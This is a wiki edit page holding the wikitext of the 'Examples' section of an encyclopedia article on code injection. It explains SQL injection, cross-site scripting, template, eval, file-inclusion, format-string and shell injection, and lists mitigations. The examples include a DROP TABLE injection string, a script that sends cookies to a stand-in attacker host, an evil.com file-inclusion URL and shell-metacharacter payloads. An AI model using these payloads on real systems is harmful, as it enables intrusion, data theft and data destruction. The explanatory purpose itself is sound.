Open main menu
Home
Random
Recent changes
Special pages
Community portal
Preferences
About Wikipedia
Disclaimers
Incubator escapee wiki
Search
User menu
Talk
Dark mode
Contributions
Create account
Log in
Editing
Code injection
(section)
Warning:
You are not logged in. Your IP address will be publicly visible if you make any edits. If you
log in
or
create an account
, your edits will be attributed to your username, along with other benefits.
Anti-spam check. Do
not
fill this in!
==Examples== ===SQL injection=== {{Main|SQL injection}} An [[SQL injection]] takes advantage of [[SQL syntax]] to inject malicious commands that can read or modify a database or compromise the meaning of the original query.<ref>{{Cite journal |last1=Zhuo |first1=Z. |last2=Cai |first2=T. |last3=Zhang |first3=X. |last4=Lv |first4=F. |date=2021-03-12 |title=Long short-term memory on abstract syntax tree for SQL injection detection |url=https://onlinelibrary.wiley.com/doi/10.1049/sfw2.12018 |journal=IET Software |language=en |volume=15 |issue=2 |pages=188–197 |doi=10.1049/sfw2.12018 |s2cid=233582569 |issn=1751-8806|url-access=subscription }}</ref> For example, consider a web page that has two [[text fields]] which allow users to enter a username and a password. The code behind the page will generate an [[SQL query]] to check the password against the list of user names: <syntaxhighlight lang="SQL"> SELECT UserList.Username FROM UserList WHERE UserList.Username = 'Username' AND UserList.Password = 'Password' </syntaxhighlight> If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code "<code>('Password' OR '1'='1')</code> in the Password field, then the resulting query will look like this: <syntaxhighlight lang="sql"> SELECT UserList.Username FROM UserList WHERE UserList.Username = 'Username' AND UserList.Password = 'Password' OR '1'='1' </syntaxhighlight> In the example above, "Password" is assumed to be blank or some innocuous string. "<code>'1'='1'</code>" will always be true and many rows will be returned, thereby allowing access. The technique may be refined to allow multiple statements to run or even to load up and run external programs. Assume a query with the following format:<syntaxhighlight lang="sql"> SELECT User.UserID FROM User WHERE User.UserID = ' " + UserID + " ' AND User.Pwd = ' " + Password + " ' </syntaxhighlight>If an adversary has the following for inputs: <code>UserID: ';DROP TABLE User; --'</code> <code>Password: 'OR"='</code> then the query will be parsed as:<syntaxhighlight lang="sql"> SELECT User.UserID FROM User WHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"=' </syntaxhighlight> The resulting <code>User</code> table will be removed from the database. This occurs because the <code>;</code> symbol signifies the end of one command and the start of a new one. <code>--</code> signifies the start of a comment. === Cross-site scripting === {{Main|Cross-site scripting}} Code injection is the malicious injection or introduction of code into an application. Some [[web server]]s have a [[guestbook]] script, which accepts small messages from users and typically receives messages such as: <nowiki>Very nice site!</nowiki> However, a malicious person may know of a code injection vulnerability in the guestbook and enter a message such as: <syntaxhighlight lang="html">Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script></syntaxhighlight> If another user views the page, then the injected code will be executed. This code can allow the attacker to impersonate another user. However, this same software bug can be accidentally triggered by an unassuming user, which will cause the website to display bad HTML code. HTML and script injection are popular subjects, commonly termed "[[cross-site scripting]]" or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML without being checked for HTML code or scripting. Many of these problems are related to erroneous assumptions of what input data is possible or the effects of special data.<ref name=HopeWalther>{{cite book|last1=Hope|first1=Brian|last2=Hope|first2=Paco|last3=Walther|first3=Ben|title=Web Security Testing Cookbook|url=https://archive.org/details/websecuritytesti00hope|url-access=registration|date=15 May 2009|publisher=[[O'Reilly Media]]|location=Sebastopol, CA|isbn=978-0-596-51483-9|page=[https://archive.org/details/websecuritytesti00hope/page/254 254]|oclc=297573828}}</ref> === Server Side Template Injection === [[Web template system|Template engines]] are often used in modern [[web application]]s to display dynamic data. However, trusting non-validated user data can frequently lead to critical vulnerabilities<ref>{{Cite web |date=2015-08-05 |title=Server-Side Template Injection |url=https://portswigger.net/research/server-side-template-injection |access-date=2022-05-22 |website=PortSwigger Research |archive-date=22 May 2022 |archive-url=https://web.archive.org/web/20220522214453/https://portswigger.net/research/server-side-template-injection |url-status=live }}</ref> such as server-side Side Template Injections. While this vulnerability is similar to [[cross-site scripting]], template injection can be leveraged to execute code on the web server rather than in a visitor's browser. It abuses a common workflow of web applications, which often use user inputs and templates to render a web page. The example below shows the concept. Here the template <code><nowiki>{{visitor_name}}</nowiki></code> is replaced with data during the rendering process.<syntaxhighlight lang="html"> Hello {{visitor_name}} </syntaxhighlight>An attacker can use this workflow to inject code into the rendering pipeline by providing a malicious <code>visitor_name</code>. Depending on the implementation of the web application, he could choose to inject <code><nowiki>{{7*'7'}}</nowiki></code> which the renderer could resolve to <code>Hello 7777777</code>. Note that the actual web server has evaluated the malicious code and therefore could be vulnerable to [[remote code execution]]. ===Dynamic evaluation vulnerabilities=== An <syntaxhighlight lang="php" inline>eval()</syntaxhighlight> injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an <syntaxhighlight lang="php" inline>eval()</syntaxhighlight> [[function call]].<ref>{{cite mailing list |author=Christey |first=Steven M. |title=Dynamic Evaluation Vulnerabilities in PHP applications |mailing-list=Full Disclosure |date=3 May 2006 |url=https://seclists.org/fulldisclosure/2006/May/35 |access-date=2018-10-21 |archive-url=https://web.archive.org/web/20091113113128/https://seclists.org/fulldisclosure/2006/May/35 |archive-date=13 November 2009 |url-status=live}}</ref> <syntaxhighlight lang="php"> $myvar = 'somevalue'; $x = $_GET['arg']; eval('$myvar = ' . $x . ';'); </syntaxhighlight> The argument of "<code>[[eval]]</code>" will be processed as [[PHP]], so additional commands can be appended. For example, if "arg" is set to "<syntaxhighlight lang="php" inline>10; system('/bin/echo uh-oh')</syntaxhighlight>", additional code is run which executes a program on the server, in this case "<code>/bin/echo</code>". ===Object injection=== PHP allows [[serialization]] and [[deserialization]] of whole [[object (computer science)|objects]]. If an untrusted input is allowed into the deserialization function, it is possible to overwrite existing classes in the program and execute malicious attacks.<ref>{{cite web|title=Unserialize function warnings|url=http://uk3.php.net/manual/en/function.unserialize.php#refsect1-function.unserialize-notes|publisher=PHP.net|access-date=6 June 2014|archive-date=9 May 2015|archive-url=https://web.archive.org/web/20150509190058/http://uk3.php.net/manual/en/function.unserialize.php#refsect1-function.unserialize-notes|url-status=live}}</ref> Such an attack on [[Joomla]] was found in 2013.<ref>{{cite web|title=Analysis of the Joomla PHP Object Injection Vulnerability|url=http://karmainsecurity.com/analysis-of-the-joomla-php-object-injection-vulnerability|access-date=6 June 2014|archive-date=2 March 2013|archive-url=https://web.archive.org/web/20130302093029/http://karmainsecurity.com/analysis-of-the-joomla-php-object-injection-vulnerability|url-status=live}}</ref> === Remote file injection === {{Main|File inclusion vulnerability}} Consider this [[PHP]] program (which includes a file specified by request): <syntaxhighlight lang="php"> <?php $color = 'blue'; if (isset($_GET['color'])) $color = $_GET['color']; require($color . '.php'); </syntaxhighlight> The example expects a color to be provided, while attackers might provide <code><nowiki>COLOR=http://evil.com/exploit</nowiki></code> causing PHP to load the remote file. === Format specifier injection === {{Main|Uncontrolled format string}}Format string bugs appear most commonly when a programmer wishes to print a string containing user-supplied data. The programmer may mistakenly write <code>printf(buffer)</code> instead of <code>printf("%s", buffer)</code>. The first version interprets <code>buffer</code> as a format string and parses any formatting instructions it may contain. The second version simply prints a string to the screen, as the programmer intended. Consider the following short [[C (programming language)|C]] program that has a local variable char [[Array (data structure)|array]] <code>password</code> which holds a password; the program asks the user for an integer and a string, then echoes out the user-provided string.<syntaxhighlight lang="c"> char user_input[100]; int int_in; char password[10] = "Password1"; printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin); printf(user_input); // Safe version is: printf("%s", user_input); printf("\n"); return 0; </syntaxhighlight>If the user input is filled with a list of format specifiers, such as <code>%s%s%s%s%s%s%s%s</code>, then <code>printf()</code>will start reading from the [[Stack (abstract data type)|stack]]. Eventually, one of the <code>%s</code> format specifiers will access the address of <code>password</code>, which is on the stack, and print <code>Password1</code> to the screen. ===Shell injection=== Shell injection (or command injection<ref>{{cite web|title= Command Injection|url=https://www.owasp.org/index.php/Command_Injection |access-date= 19 December 2013|archive-date= 20 December 2013|archive-url= https://web.archive.org/web/20131220043257/https://www.owasp.org/index.php/Command_Injection}}</ref>{{rs|date=March 2025}}) is named after [[UNIX shell script|UNIX]] shells but applies to most systems that allow software to programmatically execute a [[command line]]. Here is an example vulnerable [[tcsh]] script: <syntaxhighlight lang="tcsh"> !/bin/tcshcheck arg outputs it matches if arg is one if ($1 == 1) echo it matches </syntaxhighlight> If the above is stored in the executable file <code>./check</code>, the shell command <code>./check " 1 ) evil"</code> will attempt to execute the injected shell command <code>evil</code> instead of comparing the argument with the constant one. Here, the code under attack is the code that is trying to check the parameter, the very code that might have been trying to validate the parameter to defend against an attack.<ref>Douglas W. Jones, CS:3620 Notes, [http://www.cs.uiowa.edu/~jones/opsys/notes/04.shtml Lecture 4—Shell Scripts]. {{Webarchive|url=https://web.archive.org/web/20240924022340/http://homepage.divms.uiowa.edu/~jones/opsys/notes/04.shtml|date=24 September 2024}}, Spring 2018.</ref> Any function that can be used to compose and run a shell command is a potential vehicle for launching a shell injection attack. Among these are [http://linux.die.net/man/3/system <code>system()</code>], [https://pkg.go.dev/os#StartProcess <code>StartProcess()</code>], and [http://msdn.microsoft.com/en-us/library/92699yzt.aspx <code>System.Diagnostics.Process.Start()</code>]. [[Client–server model|Client-server]] systems such as [[web browser]] interaction with [[web server]]s are potentially vulnerable to shell injection. Consider the following short PHP program that can run on a web server to run an external program called <code>funnytext</code> to replace a word the user sent with some other word. <syntaxhighlight lang="php"> <?php passthru("/bin/funnytext " . $_GET['USER_INPUT']); </syntaxhighlight> The <code>passthru</code> function in the above program composes a shell command that is then executed by the web server. Since part of the command it composes is taken from the [[URL redirection|URL]] provided by the web browser, this allows the [[URL]] to inject malicious shell commands. One can inject code into this program in several ways by exploiting the syntax of various shell features (this list is not exhaustive):<ref>{{Cite web |url=http://blackhat.life/Command_Injection |title=Command Injection - Black Hat Library |access-date=27 February 2015 |archive-url=https://archive.today/20150227081226/http://blackhat.life/Command_Injection |archive-date=27 February 2015 }}</ref> {| class="wikitable" |- ! Shell feature ! <code>USER_INPUT</code> value ! Resulting shell command ! Explanation |- | Sequential execution | <code>; malicious_command</code> | <code>/bin/funnytext ; malicious_command</code> | Executes <code>funnytext</code>, then executes <code>malicious_command</code>. |- | [[pipeline (Unix)|Pipelines]] | <code>| malicious_command</code> | <code>/bin/funnytext | malicious_command</code> | Sends the output of <code>funnytext</code> as input to <code>malicious_command</code>. |- | Command substitution | <code>`malicious_command`</code> | <code>/bin/funnytext `malicious_command`</code> | Sends the output of <code>malicious_command</code> as arguments to <code>funnytext</code>. |- | Command substitution | <code>$(malicious_command)</code> | <code>/bin/funnytext $(malicious_command)</code> | Sends the output of <code>malicious_command</code> as arguments to <code>funnytext</code>. |- | AND list | <code>&& malicious_command</code> | <code>/bin/funnytext && malicious_command</code> | Executes <code>malicious_command</code> [[iff]] <code>funnytext</code> returns an exit status of 0 (success). |- | OR list | <code>|| malicious_command</code> | <code>/bin/funnytext || malicious_command</code> | Executes <code>malicious_command</code> [[iff]] <code>funnytext</code> returns a nonzero exit status (error). |- | Output redirection | <code>> ~/.bashrc</code> | <code>/bin/funnytext > ~/.bashrc</code> | Overwrites the contents the <code>.bashrc</code> file with the output of <code>funnytext</code>. |- | Input redirection | <code>< ~/.bashrc</code> | <code>/bin/funnytext < ~/.bashrc</code> | Sends the contents of the <code>.bashrc</code> file as input to <code>funnytext</code>. |} Some languages offer functions to properly escape or quote strings that are used to construct shell commands: * [[PHP]]: <code>[http://www.php.net/manual/en/function.escapeshellarg.php escapeshellarg()]</code> and <code>[http://www.php.net/manual/en/function.escapeshellcmd.php escapeshellcmd()]</code> * [[Python (programming language)|Python]]: <code>[https://docs.python.org/3/library/shlex.html#shlex.quote shlex.quote()]</code> However, this still puts the burden on programmers to know/learn about these functions and to remember to make use of them every time they use shell commands. In addition to using these functions, validating or sanitizing the user input is also recommended. A safer alternative is to use [[API]]s that execute external programs directly rather than through a shell, thus preventing the possibility of shell injection. However, these [[API]]s tend to not support various convenience features of shells and/or to be more cumbersome/verbose compared to concise shell syntax.
Edit summary
(Briefly describe your changes)
By publishing changes, you agree to the
Terms of Use
, and you irrevocably agree to release your contribution under the
CC BY-SA 4.0 License
and the
GFDL
. You agree that a hyperlink or URL is sufficient attribution under the Creative Commons license.
Cancel
Editing help
(opens in new window)